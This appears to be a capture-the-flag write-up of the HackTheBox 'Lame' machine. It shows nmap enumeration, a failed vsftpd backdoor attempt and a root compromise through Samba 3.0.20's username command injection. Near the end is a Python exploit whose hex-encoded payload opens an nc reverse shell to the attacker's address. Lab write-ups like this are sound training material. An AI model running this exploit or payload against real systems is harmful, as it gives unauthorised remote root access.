I started by adding Lames IP address 10.10.10.3 to /etc/hosts as lame.htb.
I followed this up with a fast nmap scan of the top 1000 ports, followed by a fast scan of all ports.
This gave me a good starting point, I then used nmap to do a more thorough scan on just these ports, providing the following output:
# Nmap 7.80 scan initiated Sat Apr 18 20:29:37 2020 as: nmap -A -p 21,22,139,445,3632 -oN nmap.txt lame.htb
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.24
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|broadband router|general purpose|remote management
Running (JUST GUESSING): Linksys embedded (93%), Linux 2.4.X|2.6.X (92%), Arris embedded (92%), Dell iDRAC 6 (92%), Belkin embedded (90%), Dell embedded (90%)
OS CPE: cpe:/h:linksys:wrv54g cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:belkin:n300 cpe:/h:dell:remote_access_card:5
Aggressive OS guesses: Linksys WRV54G WAP (93%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (92%), Arris TG562G/CT cable modem (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.8 - 2.6.30 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Linux 2.4.7 (91%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (90%), Belkin N300 WAP (Linux 2.6.30) (90%), Dell Integrated Remote Access Controller (iDRAC5) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 16.31 ms 10.10.14.1
2 16.68 ms lame.htb (10.10.10.3)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 18 20:30:33 2020 -- 1 IP address (1 host up) scanned in 55.89 seconds
My first thought was great! – vsFTPd 2.3.4 has a known backdoor! I fired up metasploit to take advantage of this; however the exploit was unsuccessful.
After this I had a look around on the ftp server but found nothing useful. With no success here I decided to try SMB, I used smbmap to enumerate the service.
I have read and write access to tmp, but more interestingly I have an exact version of the service – Samba 3.0.20. I used searchsploit to check for any known exploits to this version.
There appears to be a command execution exploit with a metasploit module – excellent! I configured metasploit to run against the target and was granted a root shell!
Ok, so I’ve figured out what it’s vulnerability is but I don’t want to stop there, I want to understand it too, I did a little research into how it works; in a nutshell if a user inputs shellcode into the username field when logging in they can leverage command injection.
I found a git repository with some python code for SMB connections which I can use to create my attack at https://gist.github.com/joselitosn/e74dbc2812c6479d3678
I used msfvenom to create a payload for a reverse tcp shell.
I then downloaded the required python repo – smbpy using pip3 install smbpy and created an exploit using the code from github and my generated shellcode.
from smb.SMBConnection import SMBConnection
buf = ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x7a"
buf += "\x64\x70\x6a\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += "\x2e\x31\x34\x2e\x32\x34\x20\x39\x30\x30\x31\x20\x30"
buf += "\x3c\x2f\x74\x6d\x70\x2f\x7a\x64\x70\x6a\x20\x7c\x20"
buf += "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70"
buf += "\x2f\x7a\x64\x70\x6a\x20\x32\x3e\x26\x31\x3b\x20\x72"
buf += "\x6d\x20\x2f\x74\x6d\x70\x2f\x7a\x64\x70\x6a"
username = "/=`nohup " + buf + "`"
password = ""
conn = SMBConnection(username, password, "", "lame")
conn.connect("lame.htb", 445)
I set up a listener and ran my exploit code, once again granting me root access – this time with no metasploit!
Dan Rigby PenTesting 